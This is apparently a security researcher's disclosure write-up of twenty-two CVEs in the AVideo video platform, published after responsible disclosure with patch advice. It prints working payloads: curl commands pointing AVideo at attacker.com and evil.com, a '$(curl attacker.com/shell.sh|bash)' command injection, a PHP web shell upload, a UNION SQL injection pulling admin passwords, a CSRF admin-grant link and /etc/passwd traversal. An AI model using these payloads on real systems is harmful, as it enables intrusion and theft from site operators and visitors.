AVideo: Twenty More Ways In
TL;DR — Last month I published a four-stage unauthenticated RCE chain in AVideo. Turns out that was the tip of the iceberg. Twenty-two additional CVEs across the platform: SQL injection in the subscribe endpoint, command injection in the Restreamer log path, RCE via MIME type confusion, CSRF-to-admin privilege escalation, unauthenticated CDN takeover through an empty default key, and an AI plugin IDOR that leaks other users' transcriptions. AVideo's codebase has systemic security issues at every layer.
context
AVideo (formerly YouPHPTube) is a self-hosted video platform with over 3,000 GitHub stars. Universities, media companies, and organizations that want to host video without YouTube use it. The previous disclosure covered the CloneSite plugin's unauthenticated RCE chain (CVE-2026-33478). This is the rest of what I found.
Twenty-two bugs is too many for a linear walkthrough. I'll cover the most dangerous ones in detail, then catalog the rest.
critical: unauthenticated live stream hijacking
CVE-2026-33716 — The live streaming feature uses token verification to authorize stream control actions. The verification endpoint accepts a url parameter that specifies where to validate the token. There's no allowlist, no validation, no restriction on what URL is provided.
An attacker hosts their own verification endpoint that always returns success:
# attacker's server
@app.route('/verify')
def verify():
return jsonify({"valid": True})
Then they call AVideo's stream control API, pointing the verification URL at their own server:
curl "http://target/plugin/Live/start.json.php?token=anything \
&verifyURL=https://attacker.com/verify"
AVideo checks the token by asking the attacker's server if it's valid. The attacker says yes. The stream starts. This works for starting, stopping, and reconfiguring any live stream on the platform without authentication.
high: SQL injection in subscribe endpoint
CVE-2026-33723 — The subscribe endpoint takes a user_id parameter and interpolates it directly into a SQL query with no prepared statements:
POST /plugin/Subscribe/subscribe.json.php
Content-Type: application/x-www-form-urlencoded
user_id=1 UNION SELECT password FROM users WHERE isAdmin=1--
The response includes the query result. This is textbook error-based SQL injection — not blind, not time-based. The attacker gets the output directly in the response. Admin password hashes, email addresses, API keys, and any other data in the database are immediately accessible.
high: CDN takeover via empty default key
CVE-2026-33719 — The CDN configuration endpoint is protected by an API key. The default value of this key is an empty string. If the operator never explicitly configured a CDN key — and most don't, because the CDN feature is optional — anyone can reconfigure the CDN origin:
curl "http://target/plugin/CDN/configure.json.php?key=&origin=https://evil.com"
Once the CDN origin points at an attacker-controlled server, every static asset (JavaScript, CSS, images) is served from the attacker's infrastructure. This is a supply chain attack against every visitor to the site — inject a script tag, steal sessions, redirect users, or serve malware.
high: command injection in Restreamer
CVE-2026-33648 — The Restreamer plugin constructs shell commands to manage streaming processes. The log file path parameter is included in the command without sanitization:
# The internal shell command becomes:
ffmpeg ... -log /var/log/restream$(curl attacker.com/shell.sh|bash).log
# The $() executes before ffmpeg runs
This is the same vulnerability class as the rsync injection in the previous AVideo disclosure. User-controlled input reaches a shell command through string concatenation rather than proper argument passing. The fix is escapeshellarg() or, better, never constructing shell commands from user input at all.
high: RCE via MIME/extension mismatch
CVE-2026-33647 — AVideo's file upload validation checks the MIME type (Content-Type header) but not the file extension. An attacker uploads a file with:
- MIME type:
image/jpeg(passes validation) - Extension:
.php(determines execution) - Content:
<?php system($_GET['cmd']); ?>
The MIME check passes because the header says it's a JPEG. The file is written to a web-accessible directory with the .php extension. When the attacker requests the file, Apache/nginx executes it as PHP. Arbitrary command execution.
curl -F "[email protected];type=image/jpeg" \
"http://target/upload.php"
# File lands at /videos/uploads/shell.php
curl "http://target/videos/uploads/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data)
high: RCE via encoder temp file
CVE-2026-33717 — The Encoder plugin's downloadURL function downloads a remote file and writes it to a temporary location in the web root. The attacker provides a URL pointing to a PHP payload:
curl "http://target/plugin/Encoder/downloadURL.json.php \
?url=https://attacker.com/shell.php"
# Written to /var/www/html/videos/cache/tmp_download_12345.php
The temp file path is predictable (timestamp-based). A race condition exists between when the file is written and when the encoder processes it. But in practice, the temp file persists long enough to request it and achieve code execution.
high: CSRF privilege escalation
CVE-2026-33649 — setPermission.json.php changes user roles and accepts GET requests with no CSRF token validation. The attack is a single link:
https://target/setPermission.json.php?user_id=attacker&permission=admin
Send this link to an admin (in a comment, an email, a video description). When their browser loads it, the GET request executes with their session cookie and the attacker's account becomes admin. No JavaScript required, no user interaction beyond clicking a link.
high: more SQL injection and path traversal
CVE-2026-33651 — The live schedule reminder feature has a blind boolean-based SQL injection. Slower to exploit than the subscribe endpoint's direct injection, but equally capable of extracting the entire database.
CVE-2026-33681 — pluginRunDatabaseScript.json.php takes a script filename parameter without path validation. Directory traversal (../../../etc/passwd) reads arbitrary files. Point it at an attacker-controlled file and the server executes it as a SQL script.
CVE-2026-33650 — Video moderators can transfer video ownership to arbitrary users. This isn't a direct privilege escalation, but it enables moderators to manipulate content ownership in ways the access model doesn't intend.
the supporting cast
Twelve more vulnerabilities at moderate severity paint a picture of systemic issues:
| CVE | What's Broken |
|---|---|
| CVE-2026-34369 | Video password protection bypassed — API returns playback sources without checking the password |
| CVE-2026-34364 | Category access controls broken by missing group membership filtering |
| CVE-2026-34362 | WebSocket tokens never expire — the timeout check is commented out in the source |
| CVE-2026-34247 | IDOR overwrites other users' live stream poster images |
| CVE-2026-34245 | Playlist schedule creation has zero authorization checks |
| CVE-2026-33764 | AI plugin IDOR leaks other users' AI-generated transcriptions and metadata |
| CVE-2026-33763 | Video password brute-force has no rate limiting |
| CVE-2026-33761 | Scheduler plugin endpoints leak scheduled tasks and email templates without auth |
| CVE-2026-33759 | Unauthenticated IDOR exposes private playlist contents and video lists |
| CVE-2026-33688 | User enumeration and account status disclosure before captcha is served |
| CVE-2026-33685 | Ad server reports accessible without authentication |
| CVE-2026-33683 | Stored XSS via html_entity_decode() reversing the sanitization that htmlspecialchars() applied earlier |
The html_entity_decode() bug (CVE-2026-33683) deserves a mention: one function encodes user input for safe HTML output, then a later function decodes it back, undoing the sanitization entirely. It's a metaphor for the codebase's security posture — defenses that exist on paper but cancel themselves out in practice.
the pattern
After auditing AVideo across two disclosure rounds, the systemic issues are clear:
- SQL queries are built via string concatenation. Not some of them. Many of the core endpoints. Prepared statements exist in some places but the default coding pattern is interpolation.
- Authentication is opt-in per endpoint. Endpoints that should require authentication simply don't include the check. There's no middleware enforcement.
- Authorization checks verify the wrong object. When auth exists, the endpoint often checks access to one resource and then operates on a different one.
- File upload validation checks MIME type, not extension. MIME type is attacker-controlled via the
Content-Typeheader. Extension determines server-side execution. - CSRF protection is absent on state-changing GET endpoints. Actions that modify server state are reachable via GET with no token validation.
- Shell commands are built via string concatenation. The same mistake as SQL injection, but in a shell context.
These aren't edge cases in rarely-used features. They're in core functionality: subscribing, live streaming, file uploading, user permissions. The previous disclosure found four bugs leading to one chain. This round found twenty-two bugs because the same patterns repeat across the entire codebase.
recommendation
If you're running AVideo, update to the latest version immediately. If you can't update, put it behind a VPN or authenticated reverse proxy — the unauthenticated attack surface is extensive enough that internet-facing deployments are high-risk.
Twenty-two CVEs across AVideo's core and plugins. All bugs have been reported through responsible disclosure.